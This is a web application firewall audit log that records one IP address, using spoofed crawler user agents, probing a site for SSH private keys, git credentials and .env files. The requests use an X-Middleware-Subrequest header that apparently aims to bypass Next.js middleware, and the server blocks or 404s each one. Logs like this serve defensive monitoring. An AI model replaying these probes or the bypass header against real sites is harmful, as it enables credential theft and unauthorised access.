Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971420158 286616 (- - -)
Stopwatch2: 1789305971420158 286616; combined=5776, p1=242, p2=5226, p3=0, p4=0, p5=308, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--79e50e14-Z--
--f70ea02c-A--
[13/Sep/2026:16:26:11.907088 +0300] aqakczTJ6xTvcJoem7f94wAAAFI 34.73.17.152 55092 127.0.0.1 7081
--f70ea02c-B--
GET /.gitconfig HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f70ea02c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f70ea02c-H--
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.gitconfig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqakczTJ6xTvcJoem7f94wAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.gitconfig" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.gitconfig||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.gitconfig"] [unique_id "aqakczTJ6xTvcJoem7f94wAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971724110 183039 (- - -)
Stopwatch2: 1789305971724110 183039; combined=32452, p1=272, p2=32118, p3=0, p4=0, p5=62, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f70ea02c-Z--
--2fd1cd2a-A--
[13/Sep/2026:16:26:11.969017 +0300] aqakc2M7dE9KgIIOpQiAcQAAAMo 34.73.17.152 55072 127.0.0.1 7081
--2fd1cd2a-B--
GET /.git-credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2fd1cd2a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2fd1cd2a-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqakc2M7dE9KgIIOpQiAcQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git-credentials"] [unique_id "aqakc2M7dE9KgIIOpQiAcQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971632593 336492 (- - -)
Stopwatch2: 1789305971632593 336492; combined=38184, p1=221, p2=37899, p3=0, p4=0, p5=63, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2fd1cd2a-Z--
--9f0e147e-A--
[13/Sep/2026:16:26:12.025891 +0300] aqakc0wu1RSkptiiNIX@NwAAAIw 34.73.17.152 55094 127.0.0.1 7081
--9f0e147e-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 452
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----r2s2t4v0u0qsxz8
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
Next-Action: r2s
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
Accept-Encoding: gzip
--9f0e147e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9f0e147e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305971825903 200069 (- - -)
Stopwatch2: 1789305971825903 200069; combined=5805, p1=274, p2=5127, p3=0, p4=0, p5=403, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9f0e147e-Z--
--66471e03-A--
[13/Sep/2026:16:26:12.376859 +0300] aqakdEwu1RSkptiiNIX@OQAAAJg 34.73.17.152 55186 127.0.0.1 7081
--66471e03-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--66471e03-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--66471e03-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqakdEwu1RSkptiiNIX@OQAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqakdEwu1RSkptiiNIX@OQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972282299 94630 (- - -)
Stopwatch2: 1789305972282299 94630; combined=30512, p1=210, p2=30234, p3=0, p4=0, p5=67, sr=79, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--66471e03-Z--
--42449c34-A--
[13/Sep/2026:16:26:12.432134 +0300] aqakdGM7dE9KgIIOpQiAdAAAANI 34.73.17.152 55140 127.0.0.1 7081
--42449c34-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--42449c34-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--42449c34-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqakdGM7dE9KgIIOpQiAdAAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_ecdsa"] [unique_id "aqakdGM7dE9KgIIOpQiAdAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972130005 302198 (- - -)
Stopwatch2: 1789305972130005 302198; combined=53582, p1=292, p2=53176, p3=0, p4=0, p5=113, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--42449c34-Z--
--f015c67e-A--
[13/Sep/2026:16:26:12.718057 +0300] aqakdCsVWymXUono-eRXTQAAABM 34.73.17.152 55234 127.0.0.1 7081
--f015c67e-B--
GET /.ssh/id_dsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--f015c67e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f015c67e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_dsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqakdCsVWymXUono-eRXTQAAABM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_dsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_dsa"] [unique_id "aqakdCsVWymXUono-eRXTQAAABM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305972554733 163382 (- - -)
Stopwatch2: 1789305972554733 163382; combined=49860, p1=212, p2=49579, p3=0, p4=0, p5=68, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f015c67e-Z--
--8bf1880e-A--
[13/Sep/2026:16:26:13.717736 +0300] aqakdWM7dE9KgIIOpQiAiQAAAMo 34.73.17.152 55470 127.0.0.1 7081
--8bf1880e-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8bf1880e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8bf1880e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakdWM7dE9KgIIOpQiAiQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973631104 86693 (- - -)
Stopwatch2: 1789305973631104 86693; combined=35813, p1=236, p2=13099, p3=0, p4=0, p5=11267, sr=82, sw=0, l=0, gc=11211
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8bf1880e-Z--
--a21c9a58-A--
[13/Sep/2026:16:26:13.880033 +0300] aqakdWM7dE9KgIIOpQiAigAAAMc 34.73.17.152 55476 127.0.0.1 7081
--a21c9a58-B--
GET /.ssh/authorized_keys HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a21c9a58-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a21c9a58-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/authorized_keys||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqakdWM7dE9KgIIOpQiAigAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/authorized_keys||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/authorized_keys"] [unique_id "aqakdWM7dE9KgIIOpQiAigAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973764452 115679 (- - -)
Stopwatch2: 1789305973764452 115679; combined=34066, p1=298, p2=33694, p3=0, p4=0, p5=73, sr=137, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a21c9a58-Z--
--ff982f42-A--
[13/Sep/2026:16:26:13.885288 +0300] aqakdTTJ6xTvcJoem7f96AAAAEc 34.73.17.152 55484 127.0.0.1 7081
--ff982f42-B--
GET /.github/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ff982f42-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ff982f42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.github/.env"] [unique_id "aqakdTTJ6xTvcJoem7f96AAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305973774409 110935 (- - -)
Stopwatch2: 1789305973774409 110935; combined=4770, p1=248, p2=4462, p3=0, p4=0, p5=59, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ff982f42-Z--
--614fb530-A--
[13/Sep/2026:16:26:13.983110 +0300] aqakdWM7dE9KgIIOpQiAjAAAAMQ 34.73.17.152 55494 127.0.0.1 7081
--614fb530-B--
GET /.ssh/config HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--614fb530-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--614fb530-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/config"] [unique_id "aqakdWM7dE9KgIIOpQiAjAAAAMQ"]
